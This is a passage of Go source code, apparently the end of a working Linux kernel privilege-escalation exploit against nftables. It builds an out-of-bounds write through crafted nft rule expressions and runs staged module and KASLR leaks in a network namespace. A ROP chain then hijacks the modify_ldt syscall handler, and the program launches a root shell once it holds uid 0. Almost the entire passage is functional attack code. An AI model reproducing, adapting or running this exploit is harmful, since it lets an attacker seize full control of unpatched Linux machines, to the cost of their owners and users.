	// Skip real rule_dp header + nft_range_ops
	ruleLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)

	// rules high u16
	ruleHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleHigh, offsets[3])

	// rules_last low u16
	ruleLastLow := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])

	// rules_last high u16
	ruleLastHigh := make([]byte, 4)
	binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])

	// Payload to write lsb of rules pointer
	conn.AddRule(&nftables.Rule{
		Table: table,
		Chain: leakChain,
		Exprs: []expr.Any{
			&expr.Immediate{
				Register: 8,
				Data:     chainLow,
			},
			&expr.Immediate{
				Register: 9,
				Data:     chainHigh,
			},
			&expr.Immediate{
				Register: 10,
				Data:     ruleLow,
			},
			&expr.Immediate{
				Register: 11,
				Data:     ruleHigh,
			},
			&expr.Immediate{
				Register: 12,
				Data:     ruleLastLow,
			},
			&expr.Immediate{
				Register: 13,
				Data:     ruleLastHigh,
			},
			&expr.Byteorder{
				SourceRegister: 8,
				DestRegister:   16,
				Op:             expr.ByteorderHton,
				Len:            28,
				Size:           2,
			},
		},
	})

	if err := conn.Flush(); err != nil {
		return fmt.Errorf("Could not add oob write rule: %v", err)
	}

	// Write our ropchain to the network packet and trigger our nft instructions
	packet_ropchain_path(ropchain)

	return nil
}

type ExploitStepFn func(*nftables.Conn, uint64, uint64) error

func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error {
	// Open netlink connection
	conn, err := nftables.New(nftables.WithNetNSFd(int(handle)))
	_ = conn

	if err != nil {
		return err
	}

	conn.FlushRuleset()
	defer conn.FlushRuleset()

	err = step(conn, moduleBase, kernelBase)

	if err != nil {
		return err
	}

	return nil
}

func main() {
	// Get cpu count, will be useful for sprays
	rand.Seed(time.Now().UnixNano())

	var origAffinity unix.CPUSet
	origAffinity.Zero()

	err := unix.SchedGetaffinity(0, &origAffinity)

	if err != nil {
		panic(err)
	}

	cpuCount = origAffinity.Count()

	// Lock go routine to specific thread
	runtime.LockOSThread()
	defer runtime.UnlockOSThread()

	// Bind to a single cpu to reach same kmalloc slabs
	var cpuSet unix.CPUSet
	cpuSet.Zero()
	cpuSet.Set(0)

	err = unix.SchedSetaffinity(0, &cpuSet)

	if err != nil {
		panic(err)
	}

	if len(os.Args) >= 3 {
		mode := os.Args[1]

		if os.Args[1] != "module_leak" && os.Args[1] != "kernel_leak" && os.Args[1] != "kernel_rop" {
			fmt.Printf("Invalid binary mode: '%v'\n", os.Args[1])
		}

		moduleBase, err := strconv.ParseUint(os.Args[2], 16, 64)

		if err != nil {
			panic(err)
		}

		// Setup the environ
		ns, err := netns.New()

		if err != nil {
			panic(err)
		}

		defer ns.Close()

		// Create new net interface
		err = exec.Command("ip", "addr", "add", "127.0.0.1/8", "dev", "lo").Run()

		if err != nil {
			fmt.Printf("Could not give interface ip")
			return
		}

		err = exec.Command("ip", "link", "set", "lo", "up").Run()

		if err != nil {
			fmt.Printf("Could not up interface")
			return
		}

		if mode == "module_leak" {
			err = nftables_wrapper(ns, leak_module_step, 0, 0)
		} else if mode == "kernel_leak" {
			err = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0)
		} else {
			if len(os.Args) != 4 {
				fmt.Println("[!] Missing kernel address parameter")
				return
			}

			kernelBase, err := strconv.ParseUint(os.Args[3], 16, 64)

			if err != nil {
				panic(err)
			}

			err = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase)
		}

		if err != nil {
			fmt.Printf("Error: %v\n", err)
		}
	} else if len(os.Args) == 1 {
		// No arguments, launch the full exploit process
		// First resolve the binary and find the wrapper in the same folder
		binPath, err := os.Readlink("/proc/self/exe")

		if err != nil {
			fmt.Printf("[!] Could not resolve binary path: %v\n", err)
			return
		}

		binFolder := path.Dir(binPath)
		wrapperPath := path.Join(binFolder, "wrapper")

		if unix.Getuid() == 0 {
			fmt.Println("[+] WARNING: Exploit already running as root. For debugging")
		}

		fmt.Println("[+] Recovering module base")
		var moduleBase uint64 = 0x0

		for i := 0; i < 15; i++ {
			moduleLeak := exec.Command(wrapperPath, binPath, "module_leak", "0")
			stdout, err := moduleLeak.Output()

			if err != nil {
				fmt.Printf("[E] Module leak failed: %v\n", err)
				return
			}

			lines := strings.Split(string(stdout), "\n")

			for _, line := range lines {
				if strings.HasPrefix(line, "LEAK") {
					addrStr := strings.Split(line, ":")[1]
					moduleBase, err = strconv.ParseUint(addrStr, 16, 64)

					if err != nil {
						// Should never happen
						panic(err)
					}

					break
				}
			}

			if moduleBase != 0 {
				break
			}

			fmt.Printf("Failed attempt #%v, retrying ...\n", i)
		}

		if moduleBase == 0 {
			fmt.Println("[E] Could not find module base, crashing the kernel :(")
		} else {
			fmt.Printf("[+] Module base: 0x%x\n", moduleBase)
			fmt.Println("[+] Recovering kernel base")
		}

		var kernelBase uint64 = 0

		for i := 0; i < 10; i++ {
			kernelLeak := exec.Command(wrapperPath, binPath, "kernel_leak", strconv.FormatUint(moduleBase, 16))
			stdout, err := kernelLeak.Output()

			if err != nil {
				fmt.Printf("[E] Kernel leak failed: %v\n", err)
				return
			}

			lines := strings.Split(string(stdout), "\n")

			for _, line := range lines {
				if strings.HasPrefix(line, "LEAK") {
					addrStr := strings.Split(line, ":")[1]
					kernelBase, err = strconv.ParseUint(addrStr, 16, 64)

					if err != nil {
						// Should never happen
						panic(err)
					}

					break
				}

			}

			if kernelBase != 0 {
				break
			}

			fmt.Printf("Failed attempt #%v, retrying ...\n", i)
		}

		fmt.Printf("[+] Kernel base: 0x%x\n", kernelBase)

		for {
			kernelLeak := exec.Command(wrapperPath, binPath, "kernel_rop", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16))
			err := kernelLeak.Start()

			if err != nil {
				panic(err)
			}

			for {
				// Wait one second so we don't race with the overwriting of the
				// syscall handler
				time.Sleep(1 * time.Second)
				syscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0)

				if unix.Getuid() == 0 {
					fmt.Println("[+] Got root !!!")
					unix.Exec("/bin/sh", []string{"/bin/sh"}, os.Environ())
				}
			}
		}

	} else {
		fmt.Println("Invalid arguments")
	}

}